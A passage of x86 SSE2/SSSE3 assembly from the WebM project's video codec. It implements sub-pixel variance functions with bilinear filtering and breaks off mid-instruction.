; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; %include "third_party/x86inc/x86inc.asm" SECTION_RODATA pw_8: times 8 dw 8 bilin_filter_m_sse2: times 8 dw 16 times 8 dw 0 times 8 dw 14 times 8 dw 2 times 8 dw 12 times 8 dw 4 times 8 dw 10 times 8 dw 6 times 16 dw 8 times 8 dw 6 times 8 dw 10 times 8 dw 4 times 8 dw 12 times 8 dw 2 times 8 dw 14 bilin_filter_m_ssse3: times 8 db 16, 0 times 8 db 14, 2 times 8 db 12, 4 times 8 db 10, 6 times 16 db 8 times 8 db 6, 10 times 8 db 4, 12 times 8 db 2, 14 SECTION .text ; int vpx_sub_pixel_varianceNxh(const uint8_t *src, ptrdiff_t src_stride, ; int x_offset, int y_offset, ; const uint8_t *dst, ptrdiff_t dst_stride, ; int height, unsigned int *sse); ; ; This function returns the SE and stores SSE in the given pointer. %macro SUM_SSE 6 ; src1, dst1, src2, dst2, sum, sse psubw %3, %4 psubw %1, %2 paddw %5, %3 pmaddwd %3, %3 paddw %5, %1 pmaddwd %1, %1 paddd %6, %3 paddd %6, %1 %endmacro %macro STORE_AND_RET 0 %if mmsize == 16 ; if H=64 and W=16, we have 8 words of each 2(1bit)x64(6bit)x9bit=16bit ; in m6, i.e. it _exactly_ fits in a signed word per word in the xmm reg. ; We have to sign-extend it before adding the words within the register ; and outputing to a dword. pcmpgtw m5, m6 ; mask for 0 > x movhlps m3, m7 punpcklwd m4, m6, m5 punpckhwd m6, m5 ; sign-extend m6 word->dword paddd m7, m3 paddd m6, m4 pshufd m3, m7, 0x1 movhlps m4, m6 paddd m7, m3 paddd m6, m4 mov r1, ssem ; r1 = unsigned int *sse pshufd m4, m6, 0x1 movd [r1], m7 ; store sse paddd m6, m4 movd raxd, m6 ; store sum as return value %else ; mmsize == 8 pshufw m4, m6, 0xe pshufw m3, m7, 0xe paddw m6, m4 paddd m7, m3 pcmpgtw m5, m6 ; mask for 0 > x mov r1, ssem ; r1 = unsigned int *sse punpcklwd m6, m5 ; sign-extend m6 word->dword movd [r1], m7 ; store sse pshufw m4, m6, 0xe paddd m6, m4 movd raxd, m6 ; store sum as return value %endif RET %endmacro %macro INC_SRC_BY_SRC_STRIDE 0 %if ARCH_X86=1 && CONFIG_PIC=1 add srcq, src_stridemp %else add srcq, src_strideq %endif %endmacro %macro SUBPEL_VARIANCE 1-2 0 ; W %if cpuflag(ssse3) %define bilin_filter_m bilin_filter_m_ssse3 %define filter_idx_shift 4 %else %define bilin_filter_m bilin_filter_m_sse2 %define filter_idx_shift 5 %endif ; FIXME(rbultje) only bilinear filters use >8 registers, and ssse3 only uses ; 11, not 13, if the registers are ordered correctly. May make a minor speed ; difference on Win64 %ifdef PIC ; 64bit PIC %if %2 == 1 ; avg cglobal sub_pixel_avg_variance%1xh, 9, 10, 13, src, src_stride, \ x_offset, y_offset, \ dst, dst_stride, \ sec, sec_stride, height, sse %define sec_str sec_strideq %else cglobal sub_pixel_variance%1xh, 7, 8, 13, src, src_stride, x_offset, \ y_offset, dst, dst_stride, height, sse %endif %define block_height heightd %define bilin_filter sseq %else %if ARCH_X86=1 && CONFIG_PIC=1 %if %2 == 1 ; avg cglobal sub_pixel_avg_variance%1xh, 7, 7, 13, src, src_stride, \ x_offset, y_offset, \ dst, dst_stride, \ sec, sec_stride, \ height, sse, g_bilin_filter, g_pw_8 %define block_height dword heightm %define sec_str sec_stridemp ;Store bilin_filter and pw_8 location in stack %if GET_GOT_DEFINED == 1 GET_GOT eax add esp, 4 ; restore esp %endif lea ecx, [GLOBAL(bilin_filter_m)] mov g_bilin_filterm, ecx lea ecx, [GLOBAL(pw_8)] mov g_pw_8m, ecx LOAD_IF_USED 0, 1 ; load eax, ecx back %else cglobal sub_pixel_variance%1xh, 7, 7, 13, src, src_stride, x_offset, \ y_offset, dst, dst_stride, height, sse, \ g_bilin_filter, g_pw_8 %define block_height heightd ;Store bilin_filter and pw_8 location in stack %if GET_GOT_DEFINED == 1 GET_GOT eax add esp, 4 ; restore esp %endif lea ecx, [GLOBAL(bilin_filter_m)] mov g_bilin_filterm, ecx lea ecx, [GLOBAL(pw_8)] mov g_pw_8m, ecx LOAD_IF_USED 0, 1 ; load eax, ecx back %endif %else %if %2 == 1 ; avg cglobal sub_pixel_avg_variance%1xh, 7 + 2 * ARCH_X86_64, \ 7 + 2 * ARCH_X86_64, 13, src, src_stride, \ x_offset, y_offset, \ dst, dst_stride, \ sec, sec_stride, \ height, sse %if ARCH_X86_64 %define block_height heightd %define sec_str sec_strideq %else %define block_height dword heightm %define sec_str sec_stridemp %endif %else cglobal sub_pixel_variance%1xh, 7, 7, 13, src, src_stride, x_offset, \ y_offset, dst, dst_stride, height, sse %define block_height heightd %endif %define bilin_filter bilin_filter_m %endif %endif ASSERT %1 <= 16 ; m6 overflows if w > 16 pxor m6, m6 ; sum pxor m7, m7 ; sse ; FIXME(rbultje) if both filters are bilinear, we don't actually use m5; we ; could perhaps use it for something more productive then pxor m5, m5 ; dedicated zero register %if %1 < 16 sar block_height, 1 %if %2 == 1 ; avg shl sec_str, 1 %endif %endif ; FIXME(rbultje) replace by jumptable? test x_offsetd, x_offsetd jnz .x_nonzero ; x_offset == 0 test y_offsetd, y_offsetd jnz .x_zero_y_nonzero ; x_offset == 0 && y_offset == 0 .x_zero_y_zero_loop: %if %1 == 16 movu m0, [srcq] mova m1, [dstq] %if %2 == 1 ; avg pavgb m0, [secq] punpckhbw m3, m1, m5 punpcklbw m1, m5 %endif punpckhbw m2, m0, m5 punpcklbw m0, m5 %if %2 == 0 ; !avg punpckhbw m3, m1, m5 punpcklbw m1, m5 %endif SUM_SSE m0, m1, m2, m3, m6, m7 add srcq, src_strideq add dstq, dst_strideq %else ; %1 < 16 movh m0, [srcq] %if %2 == 1 ; avg %if mmsize == 16 movhps m0, [srcq+src_strideq] %else ; mmsize == 8 punpckldq m0, [srcq+src_strideq] %endif %else ; !avg movh m2, [srcq+src_strideq] %endif movh m1, [dstq] movh m3, [dstq+dst_strideq] %if %2 == 1 ; avg pavgb m0, [secq] punpcklbw m3, m5 punpcklbw m1, m5 punpckhbw m2, m0, m5 punpcklbw m0, m5 %else ; !avg punpcklbw m0, m5 punpcklbw m2, m5 punpcklbw m3, m5 punpcklbw m1, m5 %endif SUM_SSE m0, m1, m2, m3, m6, m7 lea srcq, [srcq+src_strideq*2] lea dstq, [dstq+dst_strideq*2] %endif %if %2 == 1 ; avg add secq, sec_str %endif dec block_height jg .x_zero_y_zero_loop STORE_AND_RET .x_zero_y_nonzero: cmp y_offsetd, 8 jne .x_zero_y_nonhalf ; x_offset == 0 && y_offset == 0.5 .x_zero_y_half_loop: %if %1 == 16 movu m0, [srcq] movu m4, [srcq+src_strideq] mova m1, [dstq] pavgb m0, m4 punpckhbw m3, m1, m5 %if %2 == 1 ; avg pavgb m0, [secq] %endif punpcklbw m1, m5 punpckhbw m2, m0, m5 punpcklbw m0, m5 SUM_SSE m0, m1, m2, m3, m6, m7 add srcq, src_strideq add dstq, dst_strideq %else ; %1 < 16 movh m0, [srcq] movh m2, [srcq+src_strideq] %if %2 == 1 ; avg %if mmsize == 16 movhps m2, [srcq+src_strideq*2] %else ; mmsize == 8 %if %1 == 4 movh m1, [srcq+src_strideq*2] punpckldq m2, m1 %else punpckldq m2, [srcq+src_strideq*2] %endif %endif movh m1, [dstq] %if mmsize == 16 movlhps m0, m2 %else ; mmsize == 8 punpckldq m0, m2 %endif movh m3, [dstq+dst_strideq] pavgb m0, m2 punpcklbw m1, m5 pavgb m0, [secq] punpcklbw m3, m5 punpckhbw m2, m0, m5 punpcklbw m0, m5 %else ; !avg movh m4, [srcq+src_strideq*2] movh m1, [dstq] pavgb m0, m2 movh m3, [dstq+dst_strideq] pavgb m2, m4 punpcklbw m0, m5 punpcklbw m2, m5 punpcklbw m3, m5 punpcklbw m1, m5 %endif SUM_SSE m0, m1, m2, m3, m6, m7 lea srcq, [srcq+src_strideq*2] lea dstq, [dstq+dst_strideq*2] %endif %if %2 == 1 ; avg add secq, sec_str %endif dec block_height jg .x_zero_y_half_loop STORE_AND_RET .x_zero_y_nonhalf: ; x_offset == 0 && y_offset == bilin interpolation %ifdef PIC lea bilin_filter, [bilin_filter_m] %endif shl y_offsetd, filter_idx_shift %if ARCH_X86_64 && mmsize == 16 mova m8, [bilin_filter+y_offsetq] %if notcpuflag(ssse3) ; FIXME(rbultje) don't scatter registers on x86-64 mova m9, [bilin_filter+y_offsetq+16] %endif mova m10, [pw_8] %define filter_y_a m8 %define filter_y_b m9 %define filter_rnd m10 %else ; x86-32 or mmx %if ARCH_X86=1 && CONFIG_PIC=1 ; x_offset == 0, reuse x_offset reg %define tempq x_offsetq add y_offsetq, g_bilin_filterm %define filter_y_a [y_offsetq] %define filter_y_b [y_offsetq+16] mov tempq, g_pw_8m %define filter_rnd [tempq] %else add y_offsetq, bilin_filter %define filter_y_a [y_offsetq] %define filter_y_b [y_offsetq+16] %define filter_rnd [pw_8] %endif %endif .x_zero_y_other_loop: %if %1 == 16 movu m0, [srcq] movu m4, [srcq+src_strideq] mova m1, [dstq] %if cpuflag(ssse3) punpckhbw m2, m0, m4 punpcklbw m0, m4 pmaddubsw m2, filter_y_a pmaddubsw m0, filter_y_a paddw m2, filter_rnd paddw m0, filter_rnd %else punpckhbw m2, m0, m5 punpckhbw m3, m4, m5 punpcklbw m0, m5 punpcklbw m4, m5 ; FIXME(rbultje) instead of out=((num-x)*in1+x*in2+rnd)>>log2(num), we can ; also do out=in1+(((num-x)*(in2-in1)+rnd)>>log2(num)). Total number of ; instructions is the same (5), but it is 1 mul instead of 2, so might be ; slightly faster because of pmullw latency. It would also cut our rodata ; tables in half for this function, and save 1-2 registers on x86-64. pmullw m2, filter_y_a pmullw m3, filter_y_b paddw m2, filter_rnd pmullw m0, filter_y_a pmullw m4, filter_y_b paddw m0, filter_rnd paddw m2, m3 paddw m0, m4 %endif psraw m2, 4 psraw m0, 4 %if %2 == 1 ; avg ; FIXME(rbultje) pipeline packuswb m0, m2 pavgb m0, [secq] punpckhbw m2, m0, m5 punpcklbw m0, m5 %endif punpckhbw m3, m1, m5 punpcklbw m1, m5 SUM_SSE m0, m1, m2, m3, m6, m7 add srcq, src_strideq add dstq, dst_strideq %else ; %1 < 16 movh m0, [srcq] movh m2, [srcq+src_strideq] movh m4, [srcq+src_strideq*2] movh m3, [dstq+dst_strideq] %if cpuflag(ssse3) movh m1, [dstq] punpcklbw m0, m2 punpcklbw m2, m4 pmaddubsw m0, filter_y_a pmaddubsw m2, filter_y_a punpcklbw m3, m5 paddw m2, filter_rnd paddw m0, filter_rnd %else punpcklbw m0, m5 punpcklbw m2, m5 punpcklbw m4, m5 pmullw m0, filter_y_a pmullw m1, m2, filter_y_b punpcklbw m3, m5 paddw m0, filter_rnd pmullw m2, filter_y_a pmullw m4, filter_y_b paddw m0, m1 paddw m2, filter_rnd movh m1, [dstq] paddw m2, m4 %endif psraw m0, 4 psraw m2, 4 %if %2 == 1 ; avg ; FIXME(rbultje) pipeline packuswb m0, m2 pavgb m0, [secq] punpckhbw m2, m0, m5 punpcklbw m0, m5 %endif punpcklbw m1, m5 SUM_SSE m0, m1, m2, m3, m6, m7 lea srcq, [srcq+src_strideq*2] lea dstq, [dstq+dst_strideq*2] %endif %if %2 == 1 ; avg add secq, sec_str %endif dec block_height jg .x_zero_y_other_loop %undef filter_y_a %undef filter_y_b %undef filter_rnd STORE_AND_RET .x_nonzero: cmp x_offsetd, 8 jne .x_nonhalf ; x_offset == 0.5 test y_offsetd, y_offsetd jnz .x_half_y_nonzero ; x_offset == 0.5 && y_offset == 0 .x_half_y_zero_loop: %if %1 == 16 movu m0, [srcq] movu m4, [srcq+1] mova m1, [dstq] pavgb m0, m4 punpckhbw m3, m1, m5 %if %2 == 1 ; avg pavgb m0, [secq] %endif punpcklbw m1, m5 punpckhbw m2, m0, m5 punpcklbw m0, m5 SUM_SSE m0, m1, m2, m3, m6, m7 add srcq, src_strideq add dstq, dst_strideq %else ; %1 < 16 movh m0, [srcq] movh m4, [srcq+1] %if %2 == 1 ; avg %if mmsize == 16 movhps m0, [srcq+src_strideq] movhps m4, [srcq+src_strideq+1] %else ; mmsize == 8 punpckldq m0, [srcq+src_strideq] punpckldq m4, [srcq+src_strideq+1] %endif movh m1, [dstq] movh m3, [dstq+dst_strideq] pavgb m0, m4 punpcklbw m3, m5 pavgb m0, [secq] punpcklbw m1, m5 punpckhbw m2, m0, m5 punpcklbw m0, m5 %else ; !avg movh m2, [srcq+src_strideq] movh m1, [dstq] pavgb m0, m4 movh m4, [srcq+src_strideq+1] movh m3, [dstq+dst_strideq] pavgb m2, m4 punpcklbw m0, m5 punpcklbw m2, m5 punpcklbw m3, m5 punpcklbw m1, m5 %endif SUM_SSE m0, m1, m2, m3, m6, m7 lea srcq, [srcq+src_strideq*2] lea dstq, [dstq+dst_strideq*2] %endif %if %2 == 1 ; avg add secq, sec_str %endif dec block_height jg .x_half_y_zero_loop STORE_AND_RET .x_half_y_nonzero: cmp y_offsetd, 8 jne .x_half_y_nonhalf ; x_offset == 0.5 && y_offset == 0.5 %if %1 == 16 movu m0, [srcq] movu m3, [srcq+1] add srcq, src_strideq pavgb m0, m3 .x_half_y_half_loop: movu m4, [srcq] movu m3, [srcq+1] mova m1, [dstq] pavgb m4, m3 punpckhbw m3, m1, m5 pavgb m0, m4 %if %2 == 1 ; avg punpcklbw m1, m5 pavgb m0, [secq] punpckhbw m2, m0, m5 punpcklbw m0, m5 %else punpckhbw m2, m0, m5 punpcklbw m0, m5 punpcklbw m1, m5 %endif SUM_SSE m0, m1, m2, m3, m6, m7 mova m0, m4 add srcq, src_strideq add dstq, dst_strideq %else ; %1 < 16 movh m0, [srcq] movh m3, [srcq+1] add srcq, src_strideq pavgb m0, m3 .x_half_y_half_loop: movh m2, [srcq] movh m3, [srcq+1] %if %2 == 1 ; avg %if mmsize == 16 movhps m2, [srcq+src_strideq] movhps m3, [srcq+src_strideq+1] %else %if %1 == 4 movh m1, [srcq+src_strideq] punpckldq m2, m1 movh m1, [srcq+src_strideq+1] punpckldq m3, m1 %else punpckldq m2, [srcq+src_strideq] punpckldq m3, [srcq+src_strideq+1] %endif %endif pavgb m2, m3 %if mmsize == 16 movlhps m0, m2 movhlps m4, m2 %else ; mmsize == 8 punpckldq m0, m2 pshufw m4, m2, 0xe %endif movh m1, [dstq] pavgb m0, m2 movh m3, [dstq+dst_strideq] pavgb m0, [secq] punpcklbw m3, m5 punpcklbw m1, m5 punpckhbw m2, m0, m5 punpcklbw m0, m5 %else ; !avg movh m4, [srcq+src_strideq] movh m1, [srcq+src_strideq+1] pavgb m2, m3 pavgb m4, m1 pavgb m0, m2 pavgb m2, m4 movh m1, [dstq] movh m3, [dstq+dst_strideq] punpcklbw m0, m5 punpcklbw m2, m5 punpcklbw m3, m5 punpcklbw m1, m5 %endif SUM_SSE m0, m1, m2, m3, m6, m7 mova m0, m4 lea srcq, [srcq+src_strideq*2] lea dstq, [dstq+dst_strideq*2] %endif %if %2 == 1 ; avg add secq, sec_str %endif dec block_height jg .x_half_y_half_loop STORE_AND_RET .x_half_y_nonhalf: ; x_offset == 0.5 && y_offset == bilin interpolation %ifdef PIC lea bilin_filter, [bilin_filter_m] %endif shl y_offsetd, filter_idx_shift %if ARCH_X86_64 && mmsize == 16 mova m8, [bilin_filter+y_offsetq] %if notcpuflag(ssse3) ; FIXME(rbultje) don't scatter registers on x86-64 mova m9, [bilin_filter+y_offsetq+16] %endif mova m10, [pw_8] %define filter_y_a m8 %define filter_y_b m9 %define filter_rnd m10 %else ;x86_32 %if ARCH_X86=1 && CONFIG_PIC=1 ; x_offset == 0.5. We can reuse x_offset reg %define tempq x_offsetq add y_offsetq, g_bilin_filterm %define filter_y_a [y_offsetq] %define filter_y_b [y_offsetq+16] mov tempq, g_pw_8m %define filter_rnd [tempq] %else add y_offsetq, bilin_filter %define filter_y_a [y_offsetq] %define filter_y_b [y_offsetq+16] %define filter_rnd [pw_8] %endif %endif %if %1 == 16 movu m0, [srcq] movu m3, [srcq+1] add srcq, src_strideq pavgb m0, m3 .x_half_y_other_loop: movu m4, [srcq] movu m2, [srcq+1] mova m1, [dstq] pavgb m4, m2 %if cpuflag(ssse3) punpckhbw m2, m0, m4 punpcklbw m0, m4 pmaddubsw m2, filter_y_a pmaddubsw m0, filter_y_a paddw m2, filter_rnd paddw m0, filter_rnd psraw m2, 4 %else punpckhbw m2, m0, m5 punpckhbw m3, m4, m5 pmullw m2, filter_y_a pmullw m3, filter_y_b paddw m2, filter_rnd punpcklbw m0, m5 paddw m2, m3 punpcklbw m3, m4, m5 pmullw m0, filter_y_a pmullw m3, filter_y_b paddw m0, filter_rnd psraw m2, 4 paddw m0, m3 %endif punpckhbw m3, m1, m5 psraw m0, 4 %if %2 == 1 ; avg ; FIXME(rbultje) pipeline packuswb m0, m2 pavgb m0, [secq] punpckhbw m2, m0, m5 punpcklbw m0, m5 %endif punpcklbw m1, m5 SUM_SSE m0, m1, m2, m3, m6, m7 mova m0, m4 add srcq, src_strideq add dstq, dst_strideq %else ; %1 < 16 movh m0, [srcq] movh m3, [srcq+1] add srcq, src_strideq pavgb m0, m3 %if notcpuflag(ssse3) punpcklbw m0, m5 %endif .x_half_y_other_loop: movh m2, [srcq] movh m1, [srcq+1] movh m4, [srcq+src_strideq] movh m3, [srcq+src_strideq+1] pavgb m2, m1 pavgb m4, m3 movh m3, [dstq+dst_strideq] %if cpuflag(ssse3) movh m1, [dstq] punpcklbw m0, m2 punpcklbw m2, m4 pmaddubsw m0, filter_y_a pmaddubsw m2, filter_y_a punpcklbw m3, m5 paddw m0, filter_rnd paddw m2, filter_rnd %else punpcklbw m2, m5 punpcklbw m4, m5 pmullw m0, filter_y_a pmullw m1, m2, filter_y_b punpcklbw m3, m5 paddw m0, filter_rnd pmullw m2, filter_y_a paddw m0, m1 pmullw m1, m4, filter_y_b paddw m2, filter_rnd paddw m2, m1 movh m1, [dstq] %endif psraw m0, 4 psraw m2, 4 %if %2 == 1 ; avg ; FIXME(rbultje) pipeline packuswb m0, m2 pavgb m0, [secq] punpckhbw m2, m0, m5 punpcklbw m0, m5 %endif punpcklbw m1, m5 SUM_SSE m0, m1, m2, m3, m6, m7 mova m0, m4 lea srcq, [srcq+src_strideq*2] lea dstq, [dstq+dst_strideq*2] %endif %if %2 == 1 ; avg add secq, sec_str %endif dec block_height jg .x_half_y_other_loop %undef filter_y_a %undef filter_y_b %undef filter_rnd STORE_AND_RET .x_nonhalf: test y_offsetd, y_offsetd jnz .x_nonhalf_y_nonzero ; x_offset == bilin interpolation && y_offset == 0 %ifdef PIC lea bilin_filter, [bilin_filter_m] %endif shl x_offsetd, filter_idx_shift %if ARCH_X86_64 && mmsize == 16 mova m8, [bilin_filter+x_offsetq] %if notcpuflag(ssse3) ; FIXME(rbultje) don't scatter registers on x86-64 mova m9, [bilin_filter+x_offsetq+16] %endif mova m10, [pw_8] %define filter_x_a m8 %define filter_x_b m9 %define filter_rnd m10 %else ; x86-32 %if ARCH_X86=1 && CONFIG_PIC=1 ;y_offset == 0. We can reuse y_offset reg. %define tempq y_offsetq add x_offsetq, g_bilin_filterm %define filter_x_a [x_offsetq] %define filter_x_b [x_offsetq+16] mov tempq, g_pw_8m %define filter_rnd [tempq] %else add x_offsetq, bilin_filter %define filter_x_a [x_offsetq] %define filter_x_b [x_offsetq+16] %define filter_rnd [pw_8] %endif %endif .x_other_y_zero_loop: %if %1 == 16 movu m0, [srcq] movu m4, [srcq+1] mova m1, [dstq] %if cpuflag(ssse3) punpckhbw m2, m0, m4 punpcklbw m0, m4 pmaddubsw m2, filter_x_a pmaddubsw m0, filter_x_a paddw m2, filter_rnd paddw m0, filter_rnd %else punpckhbw m2, m0, m5 punpckhbw m3, m4, m5 punpcklbw m0, m5 punpcklbw m4, m5 pmullw m2, filter_x_a pmullw m3, filter_x_b paddw m2, filter_rnd pmullw m0, filter_x_a pmullw m4, filter_x_b paddw m0, filter_rnd paddw m2, m3 paddw m0, m4 %endif psraw m2, 4 psraw m0, 4 %if %2 == 1 ; avg ; FIXME(rbultje) pipeline packuswb m0, m2 pavgb m0, [secq] punpckhbw m2, m0, m5 punpcklbw m0, m5 %endif punpckhbw m3, m1, m5 punpcklbw m1, m5 SUM_SSE m0, m1, m2, m3, m6, m7 add srcq, src_strideq add dstq, dst_strideq %else ; %1 < 16 movh m0, [srcq] movh m1, [srcq+1] movh m2, [srcq+src_strideq] movh m4, [srcq+src_strideq+1] movh m3, [dstq+dst_strideq] %if cpuflag(ssse3) punpcklbw m0, m1 movh m1, [dstq] punpcklbw m2, m4 pmaddubsw m0, filter_x_a pmaddubsw m2, filter_x_a punpcklbw m3, m5 paddw m0, filter_rnd paddw m2, filter_rnd %else punpcklbw m0, m5 punpcklbw m1, m5 punpcklbw m2, m5 punpcklbw m4, m5 pmullw m0, filter_x_a pmullw m1, filter_x_b punpcklbw m3, m5 paddw m0, filter_rnd pmullw m2, filter_x_a pmullw m4, filter_x_b paddw m0, m1 paddw m2, filter_rnd movh m1, [dstq] paddw m2, m4 %endif psraw m0, 4 psraw m2, 4 %if %2 == 1 ; avg ; FIXME(rbultje) pipeline packuswb m0, m2 pavgb m0, [secq] punpckhbw m2, m0, m5 punpcklbw m0, m5 %endif punpcklbw m1, m5 SUM_SSE m0, m1, m2, m3, m6, m7 lea srcq, [srcq+src_strideq*2] lea dstq, [dstq+dst_strideq*2] %endif %if %2 == 1 ; avg add secq, sec_str %endif dec block_height jg .x_other_y_zero_loop %undef filter_x_a %undef filter_x_b %undef filter_rnd STORE_AND_RET .x_nonhalf_y_nonzero: cmp y_offsetd, 8 jne .x_nonhalf_y_nonhalf ; x_offset == bilin interpolation && y_offset == 0.5 %ifdef PIC lea bilin_filter, [bilin_filter_m] %endif shl x_offsetd, filter_idx_shift %if ARCH_X86_64 && mmsize == 16 mova m8, [bilin_filter+x_offsetq] %if notcpuflag(ssse3) ; FIXME(rbultje) don't scatter registers on x86-64 mova m9, [bilin_filter+x_offsetq+16] %endif mova m10, [pw_8] %define filter_x_a m8 %define filter_x_b m9 %define filter_rnd m10 %else ; x86-32 %if ARCH_X86=1 && CONFIG_PIC=1 ; y_offset == 0.5. We can reuse y_offset reg. %define tempq y_offsetq add x_offsetq, g_bilin_filterm %define filter_x_a [x_offsetq] %define filter_x_b [x_offsetq+16] mov tempq, g_pw_8m %define filter_rnd [tempq] %else add x_offsetq, bilin_filter %define filter_x_a [x_offsetq] %define filter_x_b [x_offsetq+16] %define filter_rnd [pw_8] %endif %endif %if %1 == 16 movu m0, [srcq] movu m1, [srcq+1] %if cpuflag(ssse3) punpckhbw m2, m0, m1 punpcklbw m0, m1 pmaddubsw m2, filter_x_a pmaddubsw m0, filter_x_a paddw m2, filter_rnd paddw m0, filter_rnd %else punpckhbw m2, m0, m5 punpckhbw m3, m1, m5 punpcklbw m0, m5 punpcklbw m1, m5 pmullw m0, filter_x_a pmullw m1, filter_x_b paddw m0, filter_rnd pmullw m2, filter_x_a pmullw m3, filter_x_b paddw m2, filter_rnd paddw m0, m1 paddw m2, m3 %endif psraw m0, 4 psraw m2, 4 add srcq, src_strideq packuswb m0, m2 .x_other_y_half_loop: movu m4, [srcq] movu m3, [srcq+1] %if cpuflag(ssse3) mova m1, [dstq] punpckhbw m2, m4, m3 punpcklbw m4, m3 pmaddubsw m2, filter_x_a pmaddubsw m4, filter_x_a paddw m2, filter_rnd paddw m4, filter_rnd psraw m2, 4 psraw m4, 4 packuswb m4, m2 pavgb m0, m4 punpckhbw m3, m1, m5 punpcklbw m1, m5 %else punpckhbw m2, m4, m5 punpckhbw m1, m3, m5 punpcklbw m4, m5 punpcklbw m3, m5 pmullw m4, filter_x_a pmullw m3, filter_x_b paddw m4, filter_rnd pmullw m2, filter_x_a pmullw m1, filter_x_b paddw m2, filter_rnd paddw m4, m3 paddw m2, m1 mova m1, [dstq] psraw m4, 4 psraw m2, 4 punpckhbw m3, m1, m5 ; FIXME(rbultje) the repeated pack/unpack here around m0/m2 is because we ; have a 1-register shortage to be able to store the backup of the bilin ; filtered second line as words as cache for the next line. Packing into ; a byte costs 1 pack and 2 unpacks, but saves a register. packuswb m4, m2 punpcklbw m1, m5 pavgb m0, m4 %endif %if %2 == 1 ; avg ; FIXME(rbultje) pipeline pavgb m0, [secq] %endif punpckhbw m2, m0, m5 punpcklbw m0, m5 SUM_SSE m0, m1, m2, m3, m6, m7 mova m0, m4 add srcq, src_strideq add dstq, dst_strideq %else ; %1 < 16 movh m0, [srcq] movh m1, [srcq+1] %if cpuflag(ssse3) punpcklbw m0, m1 pmaddubsw m0, filter_x_a paddw m0, filter_rnd %else punpcklbw m0, m5 punpcklbw m1, m5 pmullw m0, filter_x_a pmullw m1, filter_x_b paddw m0, filter_rnd paddw m0, m1 %endif add srcq, src_strideq psraw m0, 4 .x_other_y_half_loop: movh m2, [srcq] movh m1, [srcq+1] movh m4, [srcq+src_strideq] movh m3, [srcq+src_strideq+1] %if cpuflag(ssse3) punpcklbw m2, m1 punpcklbw m4, m3 pmaddubsw m2, filter_x_a pmaddubsw m4, filter_x_a movh m1, [dstq] movh m3, [dstq+dst_strideq] paddw m2, filter_rnd paddw m4, filter_rnd %else punpcklbw m2, m5 punpcklbw m1, m5 punpcklbw m4, m5 punpcklbw m3, m5 pmullw m2, filter_x_a pmullw m1, filter_x_b paddw m2, filter_rnd pmullw m4, filter_x_a pmullw m3, filter_x_b paddw m4, filter_rnd paddw m2, m1 movh m1, [dstq] paddw m4, m3 movh m3, [dstq+dst_strideq] %endif psraw m2, 4 psraw m4, 4 pavgw m0, m2 pavgw m2, m4 %if %2 == 1 ; avg ; FIXME(rbultje) pipeline - also consider going to bytes here packuswb m0, m2 pavgb m0, [secq] punpckhbw m2, m0, m5 punpcklbw m0, m5 %endif punpcklbw m3, m5 punpcklbw m1, m5 SUM_SSE m0, m1, m2, m3, m6, m7 mova m0, m4 lea srcq, [srcq+src_strideq*2] lea dstq, [dstq+dst_strideq*2] %endif %if %2 == 1 ; avg add secq, sec_str %endif dec block_height jg .x_other_y_half_loop %undef filter_x_a %undef filter_x_b %undef filter_rnd STORE_AND_RET .x_nonhalf_y_nonhalf: %ifdef PIC lea bilin_filter, [bilin_filter_m] %endif shl x_offsetd, filter_idx_shift shl y_offsetd, filter_idx_shift %if ARCH_X86_64 && mmsize == 16 mova m8, [bilin_filter+x_offsetq] %if notcpuflag(ssse3) ; FIXME(rbultje) don't scatter registers on x86-64 mova m9, [bilin_filter+x_offsetq+16] %endif mova m10, [bilin_filter+y_offsetq] %if notcpuflag(ssse3) ; FIXME(rbultje) don't scatter registers on x86-64 mova m11, [bilin_filter+y_offsetq+16] %endif mova m12, [pw_8] %define filter_x_a m8 %define filter_x_b m9 %define filter_y_a m10 %define filter_y_b m11 %define filter_rnd m12 %else ; x86-32 %if ARCH_X86=1 && CONFIG_PIC=1 ; In this case, there is NO unused register. Used src_stride register. Later, ; src_stride has to be loaded from stack when it is needed. %define tempq src_strideq mov tempq, g_bilin_filterm add x_offsetq, tempq add y_offsetq, tempq %define filter_x_a [x_offsetq] %define filter_x_b [x_offsetq+16] %define filter_y_a [y_offsetq] %define filter_y_b [y_offsetq+16] mov tempq, g_pw_8m %define filter_rnd [tempq] %else add x_offsetq, bilin_filter add y_offsetq, bilin_filter %define filter_x_a [x_offsetq] %define filter_x_b [x_offsetq+16] %define filter_y_a [y_offsetq] %define filter_y_b [y_offsetq+16] %define filter_rnd [pw_8] %endif %endif ; x_offset == bilin interpolation && y_offset == bilin interpolation %if %1 == 16 movu m0, [srcq] movu m1, [srcq+1] %if cpuflag(ssse3) punpckhbw m2, m0, m1 punpcklbw m0, m1 pmaddubsw m2, filter_x_a pmaddubsw m0, filter_x_a paddw m2, filter_rnd paddw m0, filter_rnd %else punpckhbw m2, m0, m5 punpckhbw m3, m1, m5 punpcklbw m0, m5 punpcklbw m1, m5 pmullw m0, filter_x_a pmullw m1, filter_x_b paddw m0, filter_rnd pmullw m2, filter_x_a pmullw m3, filter_x_b paddw m2, filter_rnd paddw m0, m1 paddw m2, m3 %endif psraw m0, 4 psraw m2, 4 INC_SRC_BY_SRC_STRIDE packuswb m0, m2 .x_other_y_other_loop: %if cpuflag(ssse3) movu m4, [srcq] movu m3, [srcq+1] mova m1, [dstq] punpckhbw m2, m4, m3 punpcklbw m4, m3 pmaddubsw m2, filter_x_a pmaddubsw m4, filter_x_a punpckhbw m3, m1, m5 paddw m2, filter_rnd paddw m4, filter_rnd psraw m2, 4 psraw m4, 4 packuswb m4, m2 punpckhbw m2, m0, m4 punpcklbw m0, m4 pmaddubsw m2, filter_y_a pmaddubsw m0, filter_y_a punpcklbw m1, m5 paddw m2, filter_rnd paddw m0, filter_rnd psraw m2, 4 psraw m0, 4 %else movu m3, [srcq] movu m4, [srcq+1] punpckhbw m1, m3, m5 punpckhbw m2, m4, m5 punpcklbw m3, m5 punpcklbw m4, m5 pmullw m3, filter_x_a pmullw m4, filter_x_b paddw m3, filter_rnd pmullw m1, filter_x_a pmullw m2, filter_x_b paddw m1, filter_rnd paddw m3, m4 paddw m1, m2 psraw m3, 4 psraw m1, 4 packuswb m4, m3, m1 punpckhbw m2, m0, m5 punpcklbw m0, m5 pmullw m2, filter_y_a pmullw m1, filter_y_b paddw m2, filter_rnd pmullw m0, filter_y_a pmullw m3, filter_y_b paddw m2, m1 mova m1, [dstq] paddw m0, 